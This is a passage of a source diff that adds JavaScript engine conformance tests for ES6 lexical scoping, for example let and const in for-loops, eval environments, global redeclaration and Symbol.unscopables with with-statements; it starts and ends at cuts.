@@ -0,0 +1,30 @@
+var log = "";
+try {
+ (function() {
+ {
+ let y = f();
+ function f() { y; }
+ }
+ })()
+} catch (e) {
+ log += e instanceof ReferenceError;
+}
+
+try {
+ function f() {
+ switch (1) {
+ case 0:
+ let x;
+ case 1:
+ (function() { x; })();
+ }
+ }
+ f();
+} catch (e) {
+ log += e instanceof ReferenceError;
+}
+
+assertEq(log, "truetrue");
+
+if ("reportCompare" in this)
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_6/LexicalEnvironment/block-scoped-functions-strict.js b/js/src/tests/ecma_6/LexicalEnvironment/block-scoped-functions-strict.js
new file mode 100644
index 000000000..2b780d7dd
--- /dev/null
+++ b/js/src/tests/ecma_6/LexicalEnvironment/block-scoped-functions-strict.js
@@ -0,0 +1,45 @@
+"use strict"
+
+var log = "";
+
+function f() {
+ return "f0";
+}
+
+log += f();
+
+{
+ log += f();
+
+ function f() {
+ return "f1";
+ }
+
+ log += f();
+}
+
+log += f();
+
+function g() {
+ function h() {
+ return "h0";
+ }
+
+ log += h();
+
+ {
+ log += h();
+
+ function h() {
+ return "h1";
+ }
+
+ log += h();
+ }
+
+ log += h();
+}
+
+g();
+
+reportCompare(log, "f0f1f1f0h0h1h1h0");
diff --git a/js/src/tests/ecma_6/LexicalEnvironment/browser.js b/js/src/tests/ecma_6/LexicalEnvironment/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/ecma_6/LexicalEnvironment/browser.js
diff --git a/js/src/tests/ecma_6/LexicalEnvironment/bug-1216623.js b/js/src/tests/ecma_6/LexicalEnvironment/bug-1216623.js
new file mode 100644
index 000000000..cbdbe9722
--- /dev/null
+++ b/js/src/tests/ecma_6/LexicalEnvironment/bug-1216623.js
@@ -0,0 +1,19 @@
+// Scoping in the head of for(let;;) statements.
+
+let x = 0;
+for (let i = 0, a = () => i; i < 4; i++) {
+ assertEq(i, x++);
+ assertEq(a(), 0);
+}
+assertEq(x, 4);
+
+x = 11;
+let q = 0;
+for (let {[++q]: r} = [0, 11, 22], s = () => r; r < 13; r++) {
+ assertEq(r, x++);
+ assertEq(s(), 11);
+}
+assertEq(x, 13);
+assertEq(q, 1);
+
+reportCompare(0, 0);
diff --git a/js/src/tests/ecma_6/LexicalEnvironment/catch-body.js b/js/src/tests/ecma_6/LexicalEnvironment/catch-body.js
new file mode 100644
index 000000000..43b9d2bfe
--- /dev/null
+++ b/js/src/tests/ecma_6/LexicalEnvironment/catch-body.js
@@ -0,0 +1,19 @@
+function f() {
+ var probeParam, probeBlock;
+ let x = 'outside';
+
+ try {
+ throw [];
+ } catch ([_ = probeParam = function() { return x; }]) {
+ probeBlock = function() { return x; };
+ let x = 'inside';
+ }
+
+ assertEq(probeBlock(), 'inside');
+ assertEq(probeParam(), 'outside');
+}
+
+f();
+
+if (typeof reportCompare === 'function')
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_6/LexicalEnvironment/const-declaration-in-for-loop.js b/js/src/tests/ecma_6/LexicalEnvironment/const-declaration-in-for-loop.js
new file mode 100644
index 000000000..4001220ba
--- /dev/null
+++ b/js/src/tests/ecma_6/LexicalEnvironment/const-declaration-in-for-loop.js
@@ -0,0 +1,88 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var gTestfile = "const-declaration-in-for-loop.js";
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 1146644;
+var summary =
+ "Don't crash compiling a non-body-level for-loop whose loop declaration is " +
+ "a const";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+// Don't attempt execution as a script if we can't properly emulate it. We
+// could perhaps use eval, but eval, while also doing global execution, is its
+// own can of messiness. Ongoing work on for-loop scoping for lexical
+// declarations will likely make these tests redundant with other tests to be
+// added, anyway, in the very short term.
+var executeGlobalScript = typeof evaluate === "function"
+ ? evaluate
+ : function(s) {};
+
+for (const a1 = 3; false; )
+ continue;
+
+Function(`for (const a2 = 3; false; )
+ continue;
+ `)();
+
+if (true)
+{
+ for (const a3 = 3; false; )
+ continue;
+}
+
+Function(`if (true)
+ {
+ for (const a4 = 3; false; )
+ continue;
+ }`)();
+
+executeGlobalScript(`for (const a5 of [])
+ continue;`);
+
+Function(`for (const a6 of [])
+ continue;`)();
+
+executeGlobalScript(`if (true)
+ {
+ for (const a7 of [])
+ continue;
+ }`);
+
+Function(`if (true)
+ {
+ for (const a8 of [])
+ continue;
+ }`)();
+
+executeGlobalScript(`for (const a9 in {})
+ continue;`);
+
+Function(`for (const a10 in {})
+ continue;`)();
+
+executeGlobalScript(`if (true)
+ {
+ for (const a11 in {})
+ continue;
+ }`);
+
+Function(`if (true)
+ {
+ for (const a12 in {})
+ continue;
+ }`)();
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/ecma_6/LexicalEnvironment/eval-has-lexical-environment.js b/js/src/tests/ecma_6/LexicalEnvironment/eval-has-lexical-environment.js
new file mode 100644
index 000000000..16ffb06d1
--- /dev/null
+++ b/js/src/tests/ecma_6/LexicalEnvironment/eval-has-lexical-environment.js
@@ -0,0 +1,45 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var gTestfile = "eval-has-lexical-environment.js"
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 1193583;
+var summary =
+ "Eval always has a lexical environment";
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+eval(`
+let foo = 42;
+const kay = foo;
+var bar = 84;
+function f() {
+ return foo + kay;
+}
+ `);
+
+(1, eval)(`
+let foo2 = 42;
+const kay2 = foo2;
+`);
+
+// Lexical declarations should not have escaped eval.
+assertEq(typeof foo, "undefined");
+assertEq(typeof kay, "undefined");
+assertEq(typeof foo2, "undefined");
+assertEq(typeof kay2, "undefined");
+
+// Eval'd functions can close over lexical bindings.
+assertEq(f(), 84);
+
+// Var can escape direct eval.
+assertEq(bar, 84);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/ecma_6/LexicalEnvironment/eval-nondefinable-function.js b/js/src/tests/ecma_6/LexicalEnvironment/eval-nondefinable-function.js
new file mode 100644
index 000000000..bd5dcf797
--- /dev/null
+++ b/js/src/tests/ecma_6/LexicalEnvironment/eval-nondefinable-function.js
@@ -0,0 +1,10 @@
+try {
+ eval("var shouldNotBeDefined1; function NaN(){}; var shouldNotBeDefined2;");
+} catch (e) {
+}
+
+assertEq(Object.getOwnPropertyDescriptor(this, 'shouldNotBeDefined2'), undefined);
+assertEq(Object.getOwnPropertyDescriptor(this, 'shouldNotBeDefined1'), undefined);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_6/LexicalEnvironment/for-loop-with-bindings-added-at-runtime.js b/js/src/tests/ecma_6/LexicalEnvironment/for-loop-with-bindings-added-at-runtime.js
new file mode 100644
index 000000000..f6abf3d0c
--- /dev/null
+++ b/js/src/tests/ecma_6/LexicalEnvironment/for-loop-with-bindings-added-at-runtime.js
@@ -0,0 +1,125 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var gTestfile = "for-loop-with-bindings-added-at-runtime.js";
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 1149797;
+var summary =
+ "Don't assert when freshening the scope chain for a for-loop whose head " +
+ "contains a lexical declaration, where the loop body might add more " +
+ "bindings at runtime";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+for (let x = 0; x < 9; ++x)
+ eval("var y");
+
+{
+ for (let x = 0; x < 9; ++x)
+ eval("var y");
+}
+
+function f1()
+{
+ for (let x = 0; x < 9; ++x)
+ eval("var y");
+}
+f1();
+
+function f2()
+{
+ {
+ for (let x = 0; x < 9; ++x)
+ eval("var y");
+ }
+}
+f2();
+
+for (let x = 0; x < 9; ++x)
+{
+ // deliberately inside a block statement
+ eval("var y");
+}
+
+{
+ for (let x = 0; x < 9; ++x)
+ {
+ // deliberately inside a block statement
+ eval("var y");
+ }
+}
+
+function g1()
+{
+ for (let x = 0; x < 9; ++x)
+ {
+ // deliberately inside a block statement
+ eval("var y");
+ }
+}
+g1();
+
+function g2()
+{
+ {
+ for (let x = 0; x < 9; ++x)
+ {
+ // deliberately inside a block statement
+ eval("var y");
+ }
+ }
+}
+g2();
+
+for (let x = 0; x < 9; ++x) {
+ (function() {
+ eval("var y");
+ })();
+}
+
+{
+ for (let x = 0; x < 9; ++x)
+ {
+ // deliberately inside a block statement
+ (function() {
+ eval("var y");
+ })();
+ }
+}
+
+function h1()
+{
+ for (let x = 0; x < 9; ++x)
+ {
+ // deliberately inside a block statement
+ (function() {
+ eval("var y");
+ })();
+ }
+}
+h1();
+
+function h2()
+{
+ {
+ for (let x = 0; x < 9; ++x)
+ {
+ // deliberately inside a block statement
+ (function() { eval("var y"); })();
+ }
+ }
+}
+h2();
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/ecma_6/LexicalEnvironment/for-loop.js b/js/src/tests/ecma_6/LexicalEnvironment/for-loop.js
new file mode 100644
index 000000000..60e3799d6
--- /dev/null
+++ b/js/src/tests/ecma_6/LexicalEnvironment/for-loop.js
@@ -0,0 +1,121 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var gTestfile = "for-loop.js";
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 985733;
+var summary =
+ "ES6 for-loop semantics for for(;;) loops whose heads contain lexical "
+ "declarations";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+function isError(code, type)
+{
+ try
+ {
+ Function(code);
+ throw new Error("didn't throw");
+ }
+ catch (e)
+ {
+ assertEq(e instanceof type, true,
+ "unexpected error for `" + code + "`: got " + e);
+ }
+}
+
+function isOK(code)
+{
+ Function(code);
+}
+
+isError("for (const x; ; ) ;", SyntaxError);
+isError("for (const x = 5, y; ; ) ;", SyntaxError);
+isError("for (const [z]; ; ) ;", SyntaxError);
+//isError("for (const [z, z]; ; ) ;", SyntaxError);
+//isError("for (const [z, z] = [0, 1]; ; ) ;", SyntaxError);
+
+isOK("for (let x; ; ) ;");
+isOK("for (let x = 5, y; ; ) ;");
+
+// I'm fairly sure this is supposed to work: the negative-lookahead rules in
+// IterationStatement ensure that |for (let| *always* is a loop header starting
+// with a lexical declaration. But I'm not 100% certain, so these tests might
+// need to be fixed when we implement the negative-lookahead restrictions.
+isOK("for (let [z] = [3]; ; ) ;");
+isError("for (let [z, z]; ; ) ;", SyntaxError); // because missing initializer
+
+isError("for (let [z, z] = [0, 1]; ; ) ;", SyntaxError);
+
+// A for-loop with lexical declarations, with a mixture of bindings that are and
+// aren't aliased. (The mixture stress-tests any code that incorrectly assumes
+// all bindings are aliased.)
+var funcs = [];
+for (let [i, j, k] = [0, 1, 2]; i < 10; i++)
+ funcs.push(() => i);
+
+assertEq(funcs[0](), 0);
+assertEq(funcs[1](), 1);
+assertEq(funcs[2](), 2);
+assertEq(funcs[3](), 3);
+assertEq(funcs[4](), 4);
+assertEq(funcs[5](), 5);
+assertEq(funcs[6](), 6);
+assertEq(funcs[7](), 7);
+assertEq(funcs[8](), 8);
+assertEq(funcs[9](), 9);
+
+var outer = "OUTER V IGNORE";
+var save;
+for (let outer = (save = function() { return outer; }); ; )
+ break;
+assertEq(save(), save);
+
+var funcs = [];
+function t(i, name, expect)
+{
+ assertEq(funcs[i].name, name);
+ assertEq(funcs[i](), expect);
+}
+
+if (save() !== "OUTER V IGNORE")
+{
+ var v = "OUTER V IGNORE";
+ var i = 0;
+ for (let v = (funcs.push(function init() { return v; }),
+ 0);
+ v = (funcs.push(function test() { return v; }),
+ v + 1);
+ v = (funcs.push(function incr() { return v; }),
+ v + 1))
+ {
+ v = (funcs.push(function body() { return v; }),
+ v + 1);
+ i++;
+ if (i >= 3)
+ break;
+ }
+ t(0, "init", 0);
+ t(1, "test", 2);
+ t(2, "body", 2);
+ t(3, "incr", 5);
+ t(4, "test", 5);
+ t(5, "body", 5);
+ t(6, "incr", 8);
+ t(7, "test", 8);
+ t(8, "body", 8);
+ assertEq(funcs.length, 9);
+}
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/ecma_6/LexicalEnvironment/implicit-this-in-with.js b/js/src/tests/ecma_6/LexicalEnvironment/implicit-this-in-with.js
new file mode 100644
index 000000000..7c112e244
--- /dev/null
+++ b/js/src/tests/ecma_6/LexicalEnvironment/implicit-this-in-with.js
@@ -0,0 +1,18 @@
+// Test that callees that resolve to bindings on the global object or the
+// global lexical environment get an 'undefined' this inside with scopes.
+
+let g = function () { "use strict"; assertEq(this, undefined); }
+function f() { "use strict"; assertEq(this, undefined); }
+
+with ({}) {
+ // f is resolved on the global object
+ f();
+ // g is resolved on the global lexical environment
+ g();
+}
+
+f();
+g();
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_6/LexicalEnvironment/nondefinable-function-same-script.js b/js/src/tests/ecma_6/LexicalEnvironment/nondefinable-function-same-script.js
new file mode 100644
index 000000000..5d569fe4a
--- /dev/null
+++ b/js/src/tests/ecma_6/LexicalEnvironment/nondefinable-function-same-script.js
@@ -0,0 +1,24 @@
+// |reftest| skip-if(!xulRuntime.shell)
+
+function assertEvaluateAndIndirectEvalThrows(str) {
+ assertThrowsInstanceOf(() => evaluate(str), TypeError);
+ assertThrowsInstanceOf(() => (1,eval)(str), TypeError);
+}
+
+// Regular vars
+assertEvaluateAndIndirectEvalThrows(`var NaN; function NaN() {}`);
+
+// for-of vars
+assertEvaluateAndIndirectEvalThrows(`for (var NaN of []); function NaN() {}`);
+
+// Annex B.3.3 synthesized vars
+assertEvaluateAndIndirectEvalThrows(`{ function NaN() {} } function NaN() {}`);
+
+// Non-data properties
+Object.defineProperty(this, 'foo', { set: function() {} });
+assertEvaluateAndIndirectEvalThrows(`var foo; function foo() {}`);
+assertEvaluateAndIndirectEvalThrows(`for (var foo of []); function foo() {}`);
+assertEvaluateAndIndirectEvalThrows(`{ function foo() {} } function foo() {}`);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_6/LexicalEnvironment/redeclaring-global-properties.js b/js/src/tests/ecma_6/LexicalEnvironment/redeclaring-global-properties.js
new file mode 100644
index 000000000..7fb2f82db
--- /dev/null
+++ b/js/src/tests/ecma_6/LexicalEnvironment/redeclaring-global-properties.js
@@ -0,0 +1,64 @@
+// |reftest| skip-if(!xulRuntime.shell) -- needs evaluate
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+// Attempting to lexically redefine a var is a syntax error.
+evaluate("var a;");
+assertThrowsInstanceOf(() => evaluate("let a;"), SyntaxError);
+
+// Attempting to lexically redefine a configurable global property that's not a
+// var is okay.
+this.b = 42;
+assertEq(b, 42);
+evaluate("let b = 17;");
+assertEq(b, 17);
+
+// Attempting to lexically redefine a configurable global property that wasn't
+// a var initially but was later declared as one, isn't okay.
+this.c = 8675309;
+assertEq(c, 8675309);
+evaluate("var c;");
+assertThrowsInstanceOf(() => evaluate("let c;"), SyntaxError);
+
+// Attempting to lexically redefine a var added by eval code isn't okay.
+assertEq(typeof d, "undefined");
+eval("var d = 33;");
+assertEq(d, 33);
+assertThrowsInstanceOf(() => evaluate("let d;"), SyntaxError);
+
+// Attempting to lexically redefine a var added by eval code, then deleted *as a
+// name*, is okay. (The |var| will add the name to the global environment
+// record's [[VarNames]], but deletion will go through the global environment
+// record's DeleteBinding and so will remove it.)
+assertEq(typeof e, "undefined");
+eval("var e = 'ohia';");
+assertEq(e, "ohia");
+delete e;
+assertEq(this.hasOwnProperty("e"), false);
+evaluate("let e = 3.141592654;");
+assertEq(e, 3.141592654);
+
+// Attempting to lexically redefine a var added by eval code, then deleted *as a
+// property*, isn't okay. (Deletion by property doesn't go through the global
+// environment record's DeleteBinding algorithm, and so the name isn't removed
+// from [[VarNames]].) And it remains non-okay even if the var is subsequently
+// deleted as a name, because if the property doesn't exist, it's not removed
+// from [[VarNames]]. But if we add the global property again and then delete
+// by name, it *will* get removed from [[VarNames]].
+assertEq(typeof f, "undefined");
+eval("var f = 8675309;");
+assertEq(f, 8675309);
+delete this.f;
+assertEq(this.hasOwnProperty("f"), false);
+assertThrowsInstanceOf(() => evaluate("let f;"), SyntaxError);
+delete f;
+assertThrowsInstanceOf(() => evaluate("let f;"), SyntaxError);
+this.f = 999;
+assertThrowsInstanceOf(() => evaluate("let f;"), SyntaxError);
+delete f;
+evaluate("let f;");
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/ecma_6/LexicalEnvironment/shell.js b/js/src/tests/ecma_6/LexicalEnvironment/shell.js
new file mode 100644
index 000000000..4d731295d
--- /dev/null
+++ b/js/src/tests/ecma_6/LexicalEnvironment/shell.js
@@ -0,0 +1,5 @@
+// NOTE: This only turns on 1.8.5 in shell builds. The browser requires the
+// futzing in js/src/tests/browser.js (which only turns on 1.8, the most
+// the browser supports).
+if (typeof version != 'undefined')
+ version(185);
diff --git a/js/src/tests/ecma_6/LexicalEnvironment/unscopables-basics.js b/js/src/tests/ecma_6/LexicalEnvironment/unscopables-basics.js
new file mode 100644
index 000000000..4032b2774
--- /dev/null
+++ b/js/src/tests/ecma_6/LexicalEnvironment/unscopables-basics.js
@@ -0,0 +1,22 @@
+// Basics of @@unscopables support.
+
+// In with(obj), if obj[@@unscopables][id] is truthy, then the identifier id
+// is not present as a binding in the with-block's scope.
+var x = "global";
+with ({x: "with", [Symbol.unscopables]: {x: true}})
+ assertEq(x, "global");
+
+// But if obj[@@unscopables][id] is false or not present, there is a binding.
+with ({y: "with", z: "with", [Symbol.unscopables]: {y: false}}) {
+ assertEq(y, "with");
+ assertEq(z, "with");
+}
+
+// ToBoolean(obj[@@unscopables][id]) determines whether there's a binding.
+let someValues = [0, -0, NaN, "", undefined, null, "x", {}, []];
+for (let v of someValues) {
+ with ({x: "with", [Symbol.unscopables]: {x: v}})
+ assertEq(x, v ? "global" : "with");
+}
+
+reportCompare(0, 0);
diff --git a/js/src/tests/ecma_6/LexicalEnvironment/unscopables-closures.js b/js/src/tests/ecma_6/LexicalEnvironment/unscopables-closures.js
new file mode 100644
index 000000000..bdade1f11
--- /dev/null
+++ b/js/src/tests/ecma_6/LexicalEnvironment/unscopables-closures.js
@@ -0,0 +1,23 @@
+// @@unscopables continues to work after exiting the relevant `with` block,
+// if the environment is captured by a closure.
+
+let env = {
+ x: 9000,
+ [Symbol.unscopables]: {x: true}
+};
+
+function make_adder(x) {
+ with (env)
+ return function (y) { return x + y; };
+}
+assertEq(make_adder(3)(10), 13);
+
+// Same test, but with a bunch of different parts for bad luck
+let x = 500;
+function make_adder_with_eval() {
+ with (env)
+ return eval('y => eval("x + y")');
+}
+assertEq(make_adder_with_eval()(10), 510);
+
+reportCompare(0, 0);
diff --git a/js/src/tests/ecma_6/LexicalEnvironment/unscopables-const.js b/js/src/tests/ecma_6/LexicalEnvironment/unscopables-const.js
new file mode 100644
index 000000000..7e1d0e07c
--- /dev/null
+++ b/js/src/tests/ecma_6/LexicalEnvironment/unscopables-const.js
@@ -0,0 +1,8 @@
+// @@unscopables prevents a property from having any effect on assigning to a
+// const binding (which is an error).
+
+const x = 1;
+with ({x: 1, [Symbol.unscopables]: {x: true}})
+ assertThrowsInstanceOf(() => {x = 2;}, TypeError);
+
+reportCompare(0, 0);
diff --git a/js/src/tests/ecma_6/LexicalEnvironment/unscopables-delete.js b/js/src/tests/ecma_6/LexicalEnvironment/unscopables-delete.js
new file mode 100644
index 000000000..3cd296f4b
--- /dev/null
+++ b/js/src/tests/ecma_6/LexicalEnvironment/unscopables-delete.js
@@ -0,0 +1,27 @@
+// If obj[@@unscopables][id], then `delete id` works across `with (obj)` scope.
+
+this.niche = 7;
+let obj = { niche: 8, [Symbol.unscopables]: { niche: true } };
+with (obj) {
+ delete niche;
+}
+
+assertEq(obj.niche, 8);
+assertEq("niche" in this, false);
+
+// Same thing, but delete a variable introduced by sloppy direct eval.
+this.niche = 9;
+function f() {
+ eval("var niche = 10;");
+ with (obj) {
+ assertEq(niche, 10);
+ delete niche;
+ }
+ assertEq(niche, 9);
+}
+
+// Of course none of this affects a qualified delete.
+assertEq(delete this.niche, true);
+assertEq("niche" in this, false);
+
+reportCompare(0, 0);
diff --git a/js/src/tests/ecma_6/LexicalEnvironment/unscopables-getters.js b/js/src/tests/ecma_6/LexicalEnvironment/unscopables-getters.js
new file mode 100644
index 000000000..136078798
--- /dev/null
+++ b/js/src/tests/ecma_6/LexicalEnvironment/unscopables-getters.js
@@ -0,0 +1,41 @@
+// @@unscopables checks can call getters.
+
+// The @@unscopables property itself can be a getter.
+let hit1 = 0;
+let x = "global x";
+let env1 = {
+ x: "env1.x",
+ get [Symbol.unscopables]() {
+ hit1++;
+ return {x: true};
+ }
+};
+with (env1)
+ assertEq(x, "global x");
+assertEq(hit1, 1);
+
+// It can throw; the exception is propagated out.
+function Fit() {}
+with ({x: 0, get [Symbol.unscopables]() { throw new Fit; }})
+ assertThrowsInstanceOf(() => x, Fit);
+
+// Individual properties on the @@unscopables object can have getters.
+let hit2 = 0;
+let env2 = {
+ x: "env2.x",
+ [Symbol.unscopables]: {
+ get x() {
+ hit2++;
+ return true;
+ }
+ }
+};
+with (env2)
+ assertEq(x, "global x");
+assertEq(hit2, 1);
+
+// And they can throw.
+with ({x: 0, [Symbol.unscopables]: {get x() { throw new Fit; }}})
+ assertThrowsInstanceOf(() => x, Fit);
+
+reportCompare(0, 0);
diff --git a/js/src/tests/ecma_6/LexicalEnvironment/unscopables-global.js b/js/src/tests/ecma_6/LexicalEnvironment/unscopables-global.js
new file mode 100644
index 000000000..1aa4a52bd
--- /dev/null
+++ b/js/src/tests/ecma_6/LexicalEnvironment/unscopables-global.js
@@ -0,0 +1,18 @@
+// @@unscopables does not affect the global environment.
+
+this.x = "global property x";
+let y = "global lexical y";
+this[Symbol.unscopables] = {x: true, y: true};
+assertEq(x, "global property x");
+assertEq(y, "global lexical y");
+assertEq(eval("x"), "global property x");
+assertEq(eval("y"), "global lexical y");
+
+// But it does affect `with` statements targeting the global object.
+{
+ let x = "local x";
+ with (this)
+ assertEq(x, "local x");
+}
+
+reportCompare(0, 0);
diff --git a/js/src/tests/ecma_6/LexicalEnvironment/unscopables-ignored.js b/js/src/tests/ecma_6/LexicalEnvironment/unscopables-ignored.js
new file mode 100644
index 000000000..08b042a3b
--- /dev/null
+++ b/js/src/tests/ecma_6/LexicalEnvironment/unscopables-ignored.js
@@ -0,0 +1,22 @@
+// In these cases, @@unscopables should not be consulted.
+
+// Because obj has no properties `assertEq` or `x`,
+// obj[@@unscopables] is not checked here:
+var obj = {
+ get [Symbol.unscopables]() {
+ throw "tried to read @@unscopables";
+ }
+};
+var x = 3;
+with (obj)
+ assertEq(x, 3);
+
+// If @@unscopables is present but not an object, it is ignored:
+for (let nonObject of [undefined, null, "nothing", Symbol.for("moon")]) {
+ let y = 4;
+ let obj2 = {[Symbol.unscopables]: nonObject, y: 5};
+ with (obj2)
+ assertEq(y, 5);
+}
+
+reportCompare(0, 0);
diff --git a/js/src/tests/ecma_6/LexicalEnvironment/unscopables-miss.js b/js/src/tests/ecma_6/LexicalEnvironment/unscopables-miss.js
new file mode 100644
index 000000000..b86d51078
--- /dev/null
+++ b/js/src/tests/ecma_6/LexicalEnvironment/unscopables-miss.js
@@ -0,0 +1,7 @@
+// Trying to access a binding that doesn't exist due to @@unscopables
+// is a ReferenceError.
+
+with ({x: 1, [Symbol.unscopables]: {x: true}})
+ assertThrowsInstanceOf(() => x, ReferenceError);
+
+reportCompare(0, 0);
diff --git a/js/src/tests/ecma_6/LexicalEnvironment/unscopables-mutation-frozen.js b/js/src/tests/ecma_6/LexicalEnvironment/unscopables-mutation-frozen.js
new file mode 100644
index 000000000..632785c05
--- /dev/null
+++ b/js/src/tests/ecma_6/LexicalEnvironment/unscopables-mutation-frozen.js
@@ -0,0 +1,18 @@
+// When env[@@unscopables].x changes, bindings can appear even if env is inextensible.
+
+let x = "global";
+let unscopables = {x: true};
+let env = Object.create(null);
+env[Symbol.unscopables] = unscopables;
+env.x = "object";
+Object.freeze(env);
+
+for (let i = 0; i < 1004; i++) {
+ if (i === 1000)
+ unscopables.x = false;
+ with (env) {
+ assertEq(x, i < 1000 ? "global" : "object");
+ }
+}
+
+reportCompare(0, 0);
diff --git a/js/src/tests/ecma_6/LexicalEnvironment/unscopables-mutation.js b/js/src/tests/ecma_6/LexicalEnvironment/unscopables-mutation.js
new file mode 100644
index 000000000..2f35e1dd3
--- /dev/null
+++ b/js/src/tests/ecma_6/LexicalEnvironment/unscopables-mutation.js
@@ -0,0 +1,44 @@
+// When obj[@@unscopables].x changes, bindings appear and disappear accordingly.
+
+let x = "global";
+function getX() { return x; }
+
+let unscopables = {x: true};
+let obj = {x: "obj", [Symbol.unscopables]: unscopables};
+
+with (obj) {
+ assertEq(x, "global");
+ x = "global-1";
+ assertEq(x, "global-1");
+ assertEq(obj.x, "obj");
+
+ unscopables.x = false; // suddenly x appears in the with-environment
+
+ assertEq(x, "obj");
+ x = "obj-1";
+ assertEq(getX(), "global-1"); // unchanged
+ assertEq(obj.x, "obj-1");
+
+ unscopables.x = true; // *poof*
+
+ assertEq(x, "global-1");
+ x = "global-2";
+ assertEq(getX(), "global-2");
+ assertEq(obj.x, "obj-1"); // unchanged
+
+ // The determination of which binding is assigned happens when the LHS of
+ // assignment is evaluated, before the RHS. This is observable if we make
+ // the binding appear or disappear during evaluation of the RHS, before
+ // assigning.
+ x = (unscopables.x = false, "global-3");
+ assertEq(getX(), "global-3");
+ assertEq(obj.x, "obj-1");
+
+ x = (unscopables.x = true, "obj-2");
+ assertEq(getX(), "global-3");
+ assertEq(obj.x, "obj-2");
+}
+
+assertEq(x, "global-3");
+
+reportCompare(0, 0);
diff --git a/js/src/tests/ecma_6/LexicalEnvironment/unscopables-proto.js b/js/src/tests/ecma_6/LexicalEnvironment/unscopables-proto.js
new file mode 100644
index 000000000..dbbfb712d
--- /dev/null
+++ b/js/src/tests/ecma_6/LexicalEnvironment/unscopables-proto.js
@@ -0,0 +1,39 @@
+// @@unscopables treats properties found on prototype chains the same as other
+// properties.
+
+const x = "global x";
+const y = "global y";
+
+// obj[@@unscopables].x works when obj.x is inherited via the prototype chain.
+let proto = {x: "object x", y: "object y"};
+let env = Object.create(proto);
+env[Symbol.unscopables] = {x: true, y: false};
+with (env) {
+ assertEq(x, "global x");
+ assertEq(delete x, false);
+ assertEq(y, "object y");
+}
+assertEq(env.x, "object x");
+
+// @@unscopables works if is inherited via the prototype chain.
+env = {
+ x: "object",
+ [Symbol.unscopables]: {x: true, y: true}
+};
+for (let i = 0; i < 50; i++)
+ env = Object.create(env);
+env.y = 1;
+with (env) {
+ assertEq(x, "global x");
+ assertEq(y, "global y");
+}
+
+// @@unscopables works if the obj[@@unscopables][id] property is inherited.
+env = {
+ x: "object",
+ [Symbol.unscopables]: Object.create({x: true})
+};
+with (env)
+ assertEq(x, "global x");
+
+reportCompare(0, 0);
diff --git a/js/src/tests/ecma_6/LexicalEnvironment/unscopables-proxy.js b/js/src/tests/ecma_6/LexicalEnvironment/unscopables-proxy.js
new file mode 100644
index 000000000..fcf241ee4
--- /dev/null
+++ b/js/src/tests/ecma_6/LexicalEnvironment/unscopables-proxy.js
@@ -0,0 +1,46 @@
+// Object operations are performed in the right order, as observed by proxies.
+
+let log = [];
+function LoggingProxyHandlerWrapper(name, handler={}) {
+ return new Proxy(handler, {
+ get(t, id) {
+ let method = handler[id];
+ return function (...args) {
+ log.push([name + "." + id, ...args.filter(v => typeof v !== "object")]);
+ if (method === undefined)
+ return Reflect[id].apply(null, args);
+ return method.apply(this, args);
+ };
+ }
+ });
+}
+
+function LoggingProxy(name, target) {
+ return new Proxy(target, new LoggingProxyHandlerWrapper(name));
+}
+
+let proto = {x: 44};
+let proto_proxy = new LoggingProxy("proto", proto);
+let unscopables = {x: true};
+let unscopables_proxy = new LoggingProxy("unscopables", {x: true});
+let env = Object.create(proto_proxy, {
+ [Symbol.unscopables]: { value: unscopables_proxy }
+});
+let env_proxy = new LoggingProxy("env", env);
+
+let x = 11;
+function f() {
+ with (env_proxy)
+ return x;
+}
+
+assertEq(f(), 11);
+
+assertDeepEq(log, [
+ ["env.has", "x"],
+ ["proto.has", "x"],
+ ["env.get", Symbol.unscopables],
+ ["unscopables.get", "x"]
+]);
+
+reportCompare(0, 0);
diff --git a/js/src/tests/ecma_6/LexicalEnvironment/unscopables-strict.js b/js/src/tests/ecma_6/LexicalEnvironment/unscopables-strict.js
new file mode 100644
index 000000000..fd0413ed7
--- /dev/null
+++ b/js/src/tests/ecma_6/LexicalEnvironment/unscopables-strict.js
@@ -0,0 +1,32 @@
+// Strict assignment to the name of a property that's masked by @@unscopables
+// throws a ReferenceError.
+
+let env = {k: 1};
+let f;
+with (env) {
+ f = function () {
+ "use strict";
+ k = 2;
+ };
+}
+
+f();
+assertEq(env.k, 2);
+
+env[Symbol.unscopables] = {k: true};
+assertThrowsInstanceOf(f, ReferenceError);
+
+// @@unscopables is tested when the LHS of assignment is evaluated, so there is
